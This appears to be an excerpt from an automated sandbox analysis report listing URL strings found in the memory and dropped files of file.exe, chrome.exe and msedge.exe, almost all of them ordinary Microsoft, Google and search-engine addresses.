Source: chrome.exe, 00000002.00000003.2275529537.00003BD800F34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2275594786.00003BD800F5C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321316868.000036F402568000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7382
Source: chrome.exe, 00000002.00000003.2275529537.00003BD800F34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2275594786.00003BD800F5C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321316868.000036F402568000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7489
Source: chrome.exe, 00000002.00000003.2275529537.00003BD800F34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2275594786.00003BD800F5C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321316868.000036F402568000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7604
Source: chrome.exe, 00000002.00000003.2275529537.00003BD800F34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2275594786.00003BD800F5C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321316868.000036F402568000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7714
Source: chrome.exe, 00000002.00000003.2275529537.00003BD800F34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2275594786.00003BD800F5C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321316868.000036F402568000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7847
Source: chrome.exe, 00000002.00000003.2275529537.00003BD800F34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2275594786.00003BD800F5C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321316868.000036F402568000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7899
Source: msedge.exe, 00000007.00000002.2402502593.0000019B32589000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://arc.msn.com
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://assets.msn.cn/resolver/
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://assets.msn.com/resolver/
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://bit.ly/wb-precache
Source: file.exe, 00000000.00000002.2534138623.0000000023B00000.00000004.00000020.00020000.00000000.sdmp, BGIJEGCGDGHDHIDHDGCB.0.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: file.exe, 00000000.00000002.2534138623.0000000023B00000.00000004.00000020.00020000.00000000.sdmp, BGIJEGCGDGHDHIDHDGCB.0.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://browser.events.data.msn.cn/
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://browser.events.data.msn.com/
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://c.msn.com/
Source: IJDHCBGH.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: chrome.exe, 00000002.00000003.2281765463.00003BD800C18000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.ico
Source: chrome.exe, 00000002.00000003.2281765463.00003BD800C18000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icofrom_play_api
Source: file.exe, 00000000.00000002.2514950284.00000000015E3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2412398191.0000000023B0D000.00000004.00000020.00020000.00000000.sdmp, IJDHCBGH.0.dr, GCGHJEBG.0.dr, Web Data.8.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000002.2514950284.00000000015E3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2412398191.0000000023B0D000.00000004.00000020.00020000.00000000.sdmp, IJDHCBGH.0.dr, GCGHJEBG.0.dr, Web Data.8.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chrome.exe, 00000002.00000003.2235970542.00003BD800CBC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000002.2405188749.000036F40237C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore
Source: chrome.exe, 00000002.00000003.2281765463.00003BD800C18000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en
Source: chrome.exe, 00000002.00000003.2225409531.00003BD800CBC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2286237397.00003BD800C9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2224917437.00003BD800C84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2235970542.00003BD800CBC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstoreLDDiscover
Source: chrome.exe, 00000002.00000003.2289114061.00005A8000974000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2197894076.00005A800071C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2286982629.00003BD801500000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymity-pa.googleapis.com/2%
Source: chrome.exe, 00000002.00000003.2289114061.00005A8000974000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2197894076.00005A800071C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2286982629.00003BD801500000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityauth-pa.googleapis.com/2$
Source: chrome.exe, 00000002.00000003.2291061751.00003BD801724000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2291136129.00003BD801728000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2291036316.00003BD80171C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityquery-pa.googleapis.com/
Source: chrome.exe, 00000002.00000003.2289114061.00005A8000974000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2197894076.00005A800071C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2286982629.00003BD801500000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityquery-pa.googleapis.com/2O
Source: msedge.exe, 00000007.00000002.2405188749.000036F40237C000.00000004.00000800.00020000.00000000.sdmp, manifest.json.8.dr	String found in binary or memory: https://chromewebstore.google.com/
Source: msedge.exe, 00000007.00000002.2405188749.000036F40237C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromewebstore.google.com/https://chrome.google.com/webstore6
Source: a2451d04-4652-41f1-98b1-10612a34a4e5.tmp.10.dr, c62e76f4-4e0e-4a8c-96ed-c4991438c550.tmp.10.dr	String found in binary or memory: https://clients2.google.com
Source: chrome.exe, 00000002.00000003.2193266438.00004450002E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2193251669.00004450002D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com/cr/report
Source: chrome.exe, 00000002.00000003.2212437038.00003BD8004A4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000002.2404546413.000036F402240000.00000004.00000800.00020000.00000000.sdmp, manifest.json0.8.dr	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: a2451d04-4652-41f1-98b1-10612a34a4e5.tmp.10.dr, c62e76f4-4e0e-4a8c-96ed-c4991438c550.tmp.10.dr	String found in binary or memory: https://clients2.googleusercontent.com
Source: file.exe, 00000000.00000002.2534138623.0000000023B00000.00000004.00000020.00020000.00000000.sdmp, BGIJEGCGDGHDHIDHDGCB.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000002.2534138623.0000000023B00000.00000004.00000020.00020000.00000000.sdmp, BGIJEGCGDGHDHIDHDGCB.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: chrome.exe, 00000002.00000003.2226340612.00003BD8002B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crbug.com/368855.)
Source: chrome.exe, 00000002.00000003.2212437038.00003BD8004A4000.00000004.00000800.00020000.00000000.sdmp, manifest.json0.8.dr	String found in binary or memory: https://docs.google.com/
Source: chrome.exe, 00000002.00000003.2294399036.00003BD800EF8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/:
Source: chrome.exe, 00000002.00000003.2294399036.00003BD800EF8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/?usp=installed_webapp
Source: chrome.exe, 00000002.00000003.2294399036.00003BD800EF8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/J
Source: chrome.exe, 00000002.00000003.2286982629.00003BD801500000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/d/1z2sdBwnUF2tSlhl3R2iUlk7gvmSbuLVXOgriPIcJkXQ/preview29
Source: chrome.exe, 00000002.00000003.2294399036.00003BD800EF8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/installwebapp?usp=chrome_default
Source: chrome.exe, 00000002.00000003.2294399036.00003BD800EF8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/:
Source: chrome.exe, 00000002.00000003.2294399036.00003BD800EF8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/?usp=installed_webapp
Source: chrome.exe, 00000002.00000003.2294399036.00003BD800EF8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/J
Source: chrome.exe, 00000002.00000003.2294399036.00003BD800EF8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/installwebapp?usp=chrome_default
Source: file.exe, file.exe, 00000000.00000002.2513651548.0000000000C7C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.2111533445.00000000051BB000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2538701022.000000006C8A1000.00000002.00000001.01000000.00000007.sdmp, chrome.dll.0.dr	String found in binary or memory: https://docs.rs/getrandom#nodejs-es-module-support
Source: chrome.exe, 00000002.00000003.2212437038.00003BD8004A4000.00000004.00000800.00020000.00000000.sdmp, manifest.json0.8.dr	String found in binary or memory: https://drive-autopush.corp.google.com/
Source: chrome.exe, 00000002.00000003.2212437038.00003BD8004A4000.00000004.00000800.00020000.00000000.sdmp, manifest.json0.8.dr	String found in binary or memory: https://drive-daily-0.corp.google.com/
Source: chrome.exe, 00000002.00000003.2212437038.00003BD8004A4000.00000004.00000800.00020000.00000000.sdmp, manifest.json0.8.dr	String found in binary or memory: https://drive-daily-1.corp.google.com/
Source: chrome.exe, 00000002.00000003.2212437038.00003BD8004A4000.00000004.00000800.00020000.00000000.sdmp, manifest.json0.8.dr	String found in binary or memory: https://drive-daily-2.corp.google.com/
Source: chrome.exe, 00000002.00000003.2212437038.00003BD8004A4000.00000004.00000800.00020000.00000000.sdmp, manifest.json0.8.dr	String found in binary or memory: https://drive-daily-3.corp.google.com/
Source: chrome.exe, 00000002.00000003.2212437038.00003BD8004A4000.00000004.00000800.00020000.00000000.sdmp, manifest.json0.8.dr	String found in binary or memory: https://drive-daily-4.corp.google.com/
Source: chrome.exe, 00000002.00000003.2212437038.00003BD8004A4000.00000004.00000800.00020000.00000000.sdmp, manifest.json0.8.dr	String found in binary or memory: https://drive-daily-5.corp.google.com/
Source: chrome.exe, 00000002.00000003.2212437038.00003BD8004A4000.00000004.00000800.00020000.00000000.sdmp, manifest.json0.8.dr	String found in binary or memory: https://drive-daily-6.corp.google.com/
Source: chrome.exe, 00000002.00000003.2212437038.00003BD8004A4000.00000004.00000800.00020000.00000000.sdmp, manifest.json0.8.dr	String found in binary or memory: https://drive-preprod.corp.google.com/
Source: chrome.exe, 00000002.00000003.2212437038.00003BD8004A4000.00000004.00000800.00020000.00000000.sdmp, manifest.json0.8.dr	String found in binary or memory: https://drive-staging.corp.google.com/
Source: chrome.exe, 00000002.00000003.2281949667.00003BD800318000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-thirdparty.googleusercontent.com/32/type/
Source: chrome.exe, 00000002.00000003.2212437038.00003BD8004A4000.00000004.00000800.00020000.00000000.sdmp, manifest.json0.8.dr	String found in binary or memory: https://drive.google.com/
Source: chrome.exe, 00000002.00000003.2281765463.00003BD800C18000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/:
Source: chrome.exe, 00000002.00000003.2281765463.00003BD800C18000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/?lfhs=2
Source: chrome.exe, 00000002.00000003.2281765463.00003BD800C18000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/J
Source: chrome.exe, 00000002.00000003.2281765463.00003BD800C18000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/drive/installwebapp?usp=chrome_default
Source: chrome.exe, 00000002.00000003.2281765463.00003BD800C18000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/?q=
Source: file.exe, 00000000.00000002.2514950284.00000000015E3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2412398191.0000000023B0D000.00000004.00000020.00020000.00000000.sdmp, IJDHCBGH.0.dr, GCGHJEBG.0.dr, Web Data.8.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.2412398191.0000000023B0D000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2281765463.00003BD800C18000.00000004.00000800.00020000.00000000.sdmp, IJDHCBGH.0.dr, GCGHJEBG.0.dr, Web Data.8.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: chrome.exe, 00000002.00000003.2281765463.00003BD800C18000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.ico
Source: file.exe, 00000000.00000002.2514950284.00000000015E3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2412398191.0000000023B0D000.00000004.00000020.00020000.00000000.sdmp, IJDHCBGH.0.dr, GCGHJEBG.0.dr, Web Data.8.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 000003.log7.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/addressbar_uu_files.en-gb/1.0.2/asset?sv=2017-07-29&sr
Source: 000003.log7.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?assetgroup=Arbit
Source: 000003.log7.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr
Source: 000003.log6.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtrac
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_163_music.png/1.0.3/asset
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_dark.png/1.7.32/asset
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_hc.png/1.7.32/asset
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr, HubApps Icons.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_light.png/1.7.32/asset
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_hc.png/1.2.1/asset
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_dark.png/1.2.1/ass
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr, HubApps Icons.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/as
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_amazon_music_light.png/1.4.13/asset
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_apple_music.png/1.4.12/asset
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.1.17/asset
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.6.8/asset
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.1.17/asset
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.6.8/asset
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.1.17/asset
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.6.8/asset
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_deezer.png/1.4.12/asset
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_dark.png/1.0.6/asset
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_light.png/1.0.6/asset
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_color.png/1.0.14/asset
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_hc.png/1.0.14/asset
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_hc.png/1.1.12/asset
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_dark.png/1.1.12/asset
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr, HubApps Icons.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_hc.png/1.2.0/asset
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_dark.png/1.2.0/asset
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_light.png/1.2.0/asset
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_excel.png/1.7.32/asset
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_facebook_messenger.png/1.5.14/asset
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gaana.png/1.0.3/asset
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc.png/1.7.1/asset
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_controller.png/1.7.1/asset
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_joystick.png/1.7.1/asset
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark.png/1.7.1/asset
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_controller.png/1.7.1/
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_joystick.png/1.7.1/as
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr, HubApps Icons.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_controller.png/1.7.1
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_joystick.png/1.7.1/a
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gmail.png/1.5.4/asset
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_hc.png/0.1.3/asset
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_dark.png/0.1.3/asset
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_light.png/0.1.3/asset
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_iHeart.png/1.0.3/asset
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_hc.png/1.0.14/asset
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_dark.png/1.0.14/as
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_light.png/1.0.14/a
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_instagram.png/1.4.13/asset
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_ku_gou.png/1.0.3/asset
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_last.png/1.0.3/asset
Source: 000003.log7.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Sho
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_dark.png/1.1.0/asset
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_hc.png/1.1.0/asset
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_light.png/1.1.0/asset
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_naver_vibe.png/1.0.3/asset
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_dark.png/1.4.9/asset
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_hc.png/1.4.9/asset
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_light.png/1.4.9/asset
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_dark.png/1.9.10/asset
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_hc.png/1.9.10/asset
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr, HubApps Icons.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_light.png/1.9.10/asset
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_hc.png/1.1.0/asset
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_dark.png/1.1.0/asset
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_light.png/1.1.0/asse
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_power_point.png/1.7.32/asset
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_qq.png/1.0.3/asset
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_dark.png/1.1.12/asset
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_hc.png/1.1.12/asset
